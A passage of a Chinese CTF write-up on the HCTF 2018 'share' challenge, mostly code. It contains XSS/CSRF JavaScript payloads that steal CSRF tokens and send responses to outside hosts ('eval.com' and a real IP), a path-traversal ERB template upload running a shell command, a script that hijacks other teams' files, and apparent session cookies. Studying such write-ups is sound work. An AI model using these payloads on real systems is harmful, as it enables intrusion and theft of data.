class="property">responseText</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    t.<span class="title function_">send</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">getsource</span>(<span class="string">&quot;/home/publiclist&quot;</span>);</span><br></pre></td></tr></table></figure><p>通过后台源码可以发现管理员页面。</p><blockquote><p>管理员：</p><p>上传应用页：<a href="http://share.2018.hctf.io/home/upload">http://share.2018.hctf.io/home/upload</a></p><p>下发应用页：<a href="http://share.2018.hctf.io/home/addtest">http://share.2018.hctf.io/home/addtest</a></p></blockquote><p>至此，可以猜测完整利用链为如下：</p><blockquote><p>CSRF上传shell –&gt; CSRF将文件下发到用户端 –&gt; 用户端获得shell链接 –&gt; GET Shell</p></blockquote><p>一开始，按正常逻辑，写出upload的exp， 经本地测试完全可用。然而打过去之后，发现一直报错500。尝试下发的时候，也是500。</p><p>真心难受，最后实在受不了问出题人，他说他的payload没问题，可以用的。</p><p>最后，在自己和题目的磨磨唧唧中，队友发来了robots.txt里有代码。然后…心态有点炸。就顾xss了，竟然忘了渗透的基本要素，逮到网站先扫扫。</p><p>拿到upload的源码如下。</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># post /file/upload</span></span><br><span class="line">  <span class="keyword">def</span> <span class="title function_">upload</span></span><br><span class="line">    <span class="keyword">if</span>(params[<span class="symbol">:file</span>][<span class="symbol">:myfile</span>] != <span class="literal">nil</span> &amp;&amp; params[<span class="symbol">:file</span>][<span class="symbol">:myfile</span>] != <span class="string">&quot;&quot;</span>)</span><br><span class="line">      file = params[<span class="symbol">:file</span>][<span class="symbol">:myfile</span>]</span><br><span class="line">      name = <span class="title class_">Base64</span>.decode64(file.original_filename)</span><br><span class="line">      ext = name.split(<span class="string">&#x27;.&#x27;</span>)[-<span class="number">1</span>]</span><br><span class="line">      <span class="keyword">if</span> ext == name |<span class="params"></span>| ext ==<span class="literal">nil</span></span><br><span class="line">        ext=<span class="string">&quot;&quot;</span></span><br><span class="line">      <span class="keyword">end</span></span><br><span class="line">      share = <span class="title class_">Tempfile</span>.new(name.split(<span class="string">&#x27;.&#x27;</span>+ext)[<span class="number">0</span>],<span class="title class_">Rails</span>.root.to_s+<span class="string">&quot;/public/upload&quot;</span>)</span><br><span class="line">      share.write(<span class="title class_">Base64</span>.decode64(file.read))</span><br><span class="line">      share.close</span><br><span class="line">      <span class="title class_">File</span>.rename(share.path,share.path+<span class="string">&quot;.&quot;</span>+ext)</span><br><span class="line">      tmp = <span class="title class_">Sharefile</span>.new</span><br><span class="line">      tmp.<span class="keyword">public</span> = <span class="number">0</span></span><br><span class="line">      tmp.path = share.path</span><br><span class="line">      tmp.name = name</span><br><span class="line">      tmp.tempname= share.path.split(<span class="string">&#x27;/&#x27;</span>)[-<span class="number">1</span>]+<span class="string">&quot;.&quot;</span>+ext</span><br><span class="line">      tmp.context = params[<span class="symbol">:file</span>][<span class="symbol">:context</span>]</span><br><span class="line">      tmp.save</span><br><span class="line">    <span class="keyword">end</span></span><br><span class="line">    redirect_to root_path</span><br><span class="line">  <span class="keyword">end</span></span><br></pre></td></tr></table></figure><p>可以发现此处上传的文件名和文件内容，都会经过base64解码，所以此时需要修改一下。</p><p>最终exp如下：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">send</span>(<span class="params">e</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">    t.<span class="title function_">open</span>(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;//eval.com:2017&quot;</span>, !<span class="number">0</span>),</span><br><span class="line">    t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">    t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">    &#125;,</span><br><span class="line">    t.<span class="title function_">send</span>(e);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">submitRequest</span>(<span class="params">authenticity_token</span>)</span><br><span class="line">&#123;</span><br><span class="line">    authenticity_token = authenticity_token.<span class="title function_">replace</span>(<span class="regexp">/\+/g</span>, <span class="string">&quot;%2b&quot;</span>);</span><br><span class="line">    <span class="keyword">var</span> xhr = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">    xhr.<span class="title function_">open</span>(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;/file/upload&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">    xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Accept&quot;</span>, <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;</span>);</span><br><span class="line">    xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Accept-Language&quot;</span>, <span class="string">&quot;de-de,de;q=0.8,en-us;q=0.5,en;q=0.3&quot;</span>);</span><br><span class="line">    xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-Type&quot;</span>, <span class="string">&quot;multipart/form-data; boundary=---------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP&quot;</span>);</span><br><span class="line">    xhr.<span class="property">withCredentials</span> = <span class="string">&quot;true&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> body = <span class="string">&quot;-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;Content-Disposition: form-data; name=\&quot;utf8\&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;%E2%9C%93\r\n&quot;</span>+</span><br><span class="line">      <span class="string">&quot;-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;Content-Disposition: form-data; name=\&quot;authenticity_token\&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;\r\n&quot;</span> +</span><br><span class="line">      authenticity_token + <span class="string">&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;Content-Disposition: form-data; name=\&quot;file[context]\&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;1\&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;Content-Disposition: form-data; name=\&quot;file[myfile]\&quot;; filename=\&quot;PD9waHAgcGhwaW5mbygpOyA/Pg==\&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;Content-Type: application/octet-stream\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;PCU9YGNhdCAvZmxhZ2AlPg==\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP--\r\n&quot;</span>+</span><br><span class="line"></span><br><span class="line">      <span class="string">&quot;Content-Disposition: form-data; name=\&quot;commit\&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;submit\r\n&quot;</span> +</span><br><span class="line">      <span class="string">&quot;-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> aBody = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>(body.<span class="property">length</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; aBody.<span class="property">length</span>; i++)</span><br><span class="line">      aBody[i] = body.<span class="title function_">charCodeAt</span>(i);</span><br><span class="line">    xhr.<span class="property">onload</span>=<span class="keyword">function</span>(<span class="params">evt</span>)&#123;</span><br><span class="line">      <span class="keyword">var</span> data = evt.<span class="property">target</span>.<span class="property">responseText</span>;</span><br><span class="line">      <span class="title function_">send</span>(data);</span><br><span class="line">    &#125;</span><br><span class="line">    xhr.<span class="title function_">send</span>(<span class="keyword">new</span> <span class="title class_">Blob</span>([aBody]));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">gettoken</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">    t.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;/home/upload&quot;</span>, !<span class="number">0</span>),</span><br><span class="line">    t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">    t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">    &#125;,</span><br><span class="line">    t.<span class="property">onload</span>=<span class="keyword">function</span>(<span class="params">evt</span>)&#123;</span><br><span class="line">      <span class="keyword">var</span> data = evt.<span class="property">target</span>.<span class="property">responseText</span>;</span><br><span class="line">      regex = <span class="regexp">/&lt;input type=&quot;hidden&quot; name=&quot;authenticity_token&quot; value=&quot;(.+)?&quot;/g</span>;</span><br><span class="line">      <span class="title function_">submitRequest</span>(regex.<span class="title function_">exec</span>(data)[<span class="number">1</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    t.<span class="title function_">send</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">gettoken</span>();</span><br></pre></td></tr></table></figure><p>此时可以成功上传文件，可以在Alphatest页面，查看到当前总文件数。</p><p>然后通过CSRF构造下发。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">send</span>(<span class="params">e</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">    t.<span class="title function_">open</span>(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;//eval.com:2017&quot;</span>, !<span class="number">0</span>),</span><br><span class="line">    t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">    t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">    &#125;,</span><br><span class="line">    t.<span class="title function_">send</span>(e);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">submitRequest</span>(<span class="params">authenticity_token</span>)</span><br><span class="line">&#123;</span><br><span class="line">    authenticity_token = authenticity_token.<span class="title function_">replace</span>(<span class="regexp">/\+/g</span>, <span class="string">&quot;%2b&quot;</span>);</span><br><span class="line">    <span class="keyword">var</span> xhr = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line">    xhr.<span class="title function_">open</span>(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;/file/Alpha_test&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">    xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-Type&quot;</span>, <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>);</span><br><span class="line">    xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Referer&quot;</span>, <span class="string">&quot;http://share.2018.hctf.io/home/addtest&quot;</span>);</span><br><span class="line">    xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Origin&quot;</span>, <span class="string">&quot;http://share.2018.hctf.io&quot;</span>);</span><br><span class="line">    xhr.<span class="property">onload</span>=<span class="keyword">function</span>(<span class="params">evt</span>)&#123;</span><br><span class="line">      <span class="keyword">var</span> data = evt.<span class="property">target</span>.<span class="property">responseText</span>;</span><br><span class="line">      <span class="title function_">send</span>(data);</span><br><span class="line">    &#125; </span><br><span class="line">    xhr.<span class="title function_">send</span>(<span class="string">&quot;utf8=%E2%9C%93&amp;authenticity_token=&quot;</span>+authenticity_token+<span class="string">&quot;&amp;uid=30&amp;fid=42&amp;commit=submit&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">gettoken</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">    t.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;/home/addtest&quot;</span>, !<span class="number">0</span>),</span><br><span class="line">    t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">    t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">    &#125;,</span><br><span class="line">    t.<span class="property">onload</span>=<span class="keyword">function</span>(<span class="params">evt</span>)&#123;</span><br><span class="line">      <span class="keyword">var</span> data = evt.<span class="property">target</span>.<span class="property">responseText</span>;</span><br><span class="line">      regex = <span class="regexp">/&lt;input type=&quot;hidden&quot; name=&quot;authenticity_token&quot; value=&quot;(.+)?&quot;/g</span>;</span><br><span class="line">      <span class="title function_">submitRequest</span>(regex.<span class="title function_">exec</span>(data)[<span class="number">1</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    t.<span class="title function_">send</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">gettoken</span>();</span><br></pre></td></tr></table></figure><p>依旧一直报500，当时很懵，然后电脑刚好没电，没有继续试下去。也没好意思再问主办方，毕竟之前是自己没看源码。</p><p>第二天一早醒来…</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141245-f8aa8e84-e641-1.png" alt="2018111115419149992367.png"></p><p>吃瓜的我，感觉到一股深深的恶意….</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141246-f953f91a-e641-1.jpg" alt="20181111154191501722090.jpg"></p><p>接着再试就可以了。此时成功拿到自己上传的文件。然而…有个卵用。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141247-f99f70b6-e641-1.png" alt="20181111154191740758587.png"></p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141247-f9be7222-e641-1.png" alt="20181111154191742679515.png"></p><p>ruby的环境，出题人肯定没有配置PHP解析。然后…该如何是好。恰好中午主办方放出了hint</p><figure class="highlight erb"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="language-xml">&lt;%=</span><span class="language-ruby"> render <span class="symbol">template:</span> <span class="string">&quot;home/&quot;</span>+params[<span class="symbol">:page</span>] </span><span class="language-xml">%&gt;</span></span><br></pre></td></tr></table></figure><p>可以很明了的看出来，需要通过上传模板，然后进行包含。但是查询资料发现如下。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141247-f9ff76fa-e641-1.jpg" alt="20181111154191810268449.jpg"></p><p>也就是说，上传文件，必须上传到&#x2F;app&#x2F;views&#x2F;home目录下。此时才可以进行包含。</p><p>话说之前一直傻在这里了，否则早就出了。先说下正确做法吧。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">文件名：../../app/views/home/test.erb</span><br><span class="line"></span><br><span class="line">文件内容：&lt;%=`cat /flag`%&gt;</span><br></pre></td></tr></table></figure><p>编码后上传即可。此时便实现了跨目录上传。然后获取到文件名后，通过</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://share.2018.hctf.io/home?page=te20181110-328-zexae3</span><br></pre></td></tr></table></figure><p>即可成功包含，获取flag。</p><h2 id="搅屎"><a href="#搅屎" class="headerlink" title="搅屎"></a>搅屎</h2><p>做完题目后，在和出题人沟通时，意外得知了一个好玩的。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141248-fa3a2750-e641-1.png" alt="20181111154192078348689.png"></p><p>fid只可以给一次，那么，我可以通过监听，来做到，只要出现新文件，立马给到我的账号。这样别人永远无法获得上传文件。想法很棒，但是现实却很真实，自己第二天写wp才想到要搅屎，此时复现时发现有一个队在做。加紧写出了搅屎代码。然而没卵用，刚写好，跑起来。看见那边二血已经到手。</p><p>但最后还是再服务器跑着，以防三血诞生。但是，好像并没有人继续做下去了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">payload=<span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">&lt;script&gt;function send(e) &#123;</span></span><br><span class="line"><span class="string">    var t = new XMLHttpRequest;</span></span><br><span class="line"><span class="string">    t.open(&quot;POST&quot;, &quot;//139.199.107.193:2017&quot;, !0),</span></span><br><span class="line"><span class="string">    t.setRequestHeader(&quot;Content-type&quot;, &quot;text/plain&quot;),</span></span><br><span class="line"><span class="string">    t.onreadystatechange = function() &#123;</span></span><br><span class="line"><span class="string">        4 == t.readyState &amp;&amp; t.status</span></span><br><span class="line"><span class="string">    &#125;,</span></span><br><span class="line"><span class="string">    t.send(e);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">function submitRequest(authenticity_token)</span></span><br><span class="line"><span class="string">&#123;</span></span><br><span class="line"><span class="string">    authenticity_token = authenticity_token.replace(/\+/g, &quot;%2b&quot;);</span></span><br><span class="line"><span class="string">    var xhr = new XMLHttpRequest();</span></span><br><span class="line"><span class="string">    xhr.open(&quot;POST&quot;, &quot;/file/Alpha_test&quot;, true);</span></span><br><span class="line"><span class="string">    xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);</span></span><br><span class="line"><span class="string">    xhr.setRequestHeader(&quot;Referer&quot;, &quot;http://share.2018.hctf.io/home/addtest&quot;);</span></span><br><span class="line"><span class="string">    xhr.setRequestHeader(&quot;Origin&quot;, &quot;http://share.2018.hctf.io&quot;);</span></span><br><span class="line"><span class="string">    xhr.onload=function(evt)&#123;</span></span><br><span class="line"><span class="string">      var data = evt.target.responseText;</span></span><br><span class="line"><span class="string">      send(data);</span></span><br><span class="line"><span class="string">    &#125; </span></span><br><span class="line"><span class="string">    xhr.send(&quot;utf8=%E2%9C%93&amp;authenticity_token=&quot;+authenticity_token+&quot;&amp;uid=&#123;&#123;uid&#125;&#125;&#125;&amp;fid=&#123;&#123;fid&#125;&#125;&amp;commit=submit&quot;);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">function gettoken()&#123;</span></span><br><span class="line"><span class="string">    var t = new XMLHttpRequest;</span></span><br><span class="line"><span class="string">    t.open(&quot;GET&quot;, &quot;/home/addtest&quot;, !0),</span></span><br><span class="line"><span class="string">    t.setRequestHeader(&quot;Content-type&quot;, &quot;text/plain&quot;),</span></span><br><span class="line"><span class="string">    t.onreadystatechange = function() &#123;</span></span><br><span class="line"><span class="string">        4 == t.readyState &amp;&amp; t.status</span></span><br><span class="line"><span class="string">    &#125;,</span></span><br><span class="line"><span class="string">    t.onload=function(evt)&#123;</span></span><br><span class="line"><span class="string">      var data = evt.target.responseText;</span></span><br><span class="line"><span class="string">      regex = /&lt;input type=&quot;hidden&quot; name=&quot;authenticity_token&quot; value=&quot;(.+)?&quot;/g;</span></span><br><span class="line"><span class="string">      submitRequest(regex.exec(data)[1]);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    t.send();</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">gettoken();&lt;/script&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line">headers=&#123;</span><br><span class="line"><span class="string">&quot;Cookie&quot;</span>: <span class="string">&quot;_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=IDl7oRVicLrzfQVGJ32JMMAL%2FkFQRZIqFGC4Az6xEzV2PW%2FG5JHNkaPTCL8McBALbeLexyWC9ltWt%2FU0XAbxnEihvGIQnvvZagnW%2F1I37tAXwbmKG9XUlOp2tkeXTNfVYIIhhzQGiFbfUFFhf2n%2BGRrcw9eu7Tnyn89bsI4fZCvSYgRrZCJJaZGJ%2BaDH8sFoaB1n1spPkQ7%2BHZoCdFdGN9PLPKWv9It3G5UL--FtVXtYfT0mQLejyc--cPeuwvnr0YSug5Ie0XwZCA%3D%3D&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sendshi</span>(<span class="params">uid,fid</span>):</span><br><span class="line"></span><br><span class="line">headers=&#123;</span><br><span class="line"><span class="string">&quot;Cookie&quot;</span>: <span class="string">&quot;_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=Zt95n%2BqsePGzFV500lXzBLPBbtLVXQNhqypxEw%2Bw%2BrP9Pko9k%2B9jcXuB15FZ27ahSD18NhwxMn2dU7vT9U4GUy%2FIK1Ph2XxeYXNImY36jCqhjYfAlmzIy7hmBkU4MUxC9Y54%2FYCY9s6NOYACi1ZOeXBUmIlw8f1d6TyKQBmn4pRbQkiSRWRRFezqPS8iKpZ%2Bl4B7ZLnwZPky7NC%2BvUTGk5YjTpMZIAdITA88--WH67dwY%2FiXpMn013--hYBC7B4fWamLvU9%2BxFJCAw%3D%3D&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">url=<span class="string">&quot;http://share.2018.hctf.io/recommend/to_admin&quot;</span></span><br><span class="line"></span><br><span class="line">data=&#123;</span><br><span class="line"><span class="string">&quot;utf8&quot;</span>:<span class="string">&quot;%E2%9C%93&quot;</span>,</span><br><span class="line"><span class="string">&quot;authenticity_token&quot;</span>:<span class="string">&quot;sK5IwUnkg2m2dVlQHb3DH4/XRQnHlz2BFWz7fEFSYSFhRjtL3cqWBJLd8+qrKwRzSe+4+nQ/lt8NlACosshm9g==&quot;</span>,</span><br><span class="line"><span class="string">&quot;context&quot;</span>:payload.replace(<span class="string">&quot;&#123;&#123;uid&#125;&#125;&quot;</span>,uid).replace(<span class="string">&quot;&#123;&#123;fid&#125;&#125;&quot;</span>,fid),</span><br><span class="line"><span class="string">&quot;url&quot;</span>:<span class="string">&quot;&quot;</span>,</span><br><span class="line"><span class="string">&quot;commit&quot;</span>:<span class="string">&quot;submit&quot;</span></span><br><span class="line">&#125;</span><br><span class="line">r = requests.post(url,data=data,headers=headers,timeout=<span class="number">3</span>)</span><br><span class="line"><span class="built_in">print</span> r.status_code</span><br><span class="line"></span><br><span class="line">url=<span class="string">&quot;http://share.2018.hctf.io/home/Alphatest&quot;</span></span><br><span class="line">fid=<span class="number">0</span></span><br><span class="line">uid=<span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>):</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">r=requests.get(url,headers=headers,timeout=<span class="number">3</span>)</span><br><span class="line">pattern = re.<span class="built_in">compile</span>(<span class="string">r&#x27;file number:(\d+) your uid: (\d+)&#x27;</span>)</span><br><span class="line">result1 = pattern.findall(r.text)</span><br><span class="line"><span class="keyword">if</span>(fid != result1[<span class="number">0</span>][<span class="number">0</span>]):</span><br><span class="line">fid=result1[<span class="number">0</span>][<span class="number">0</span>]</span><br><span class="line">uid=result1[<span class="number">0</span>][<span class="number">1</span>]</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">time.sleep(<span class="number">1</span>)</span><br><span class="line"><span class="built_in">print</span>(result1)</span><br><span class="line">contine</span><br><span class="line">sendshi(result1[<span class="number">0</span>][<span class="number">1</span>],result1[<span class="number">0</span>][<span class="number">0</span>])</span><br><span class="line">time.sleep(<span class="number">1</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">time.sleep(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><h2 id="两个不明白的地方"><a href="#两个不明白的地方" class="headerlink" title="两个不明白的地方"></a>两个不明白的地方</h2><h3 id="Tempfile跨目录-SOLVED"><a 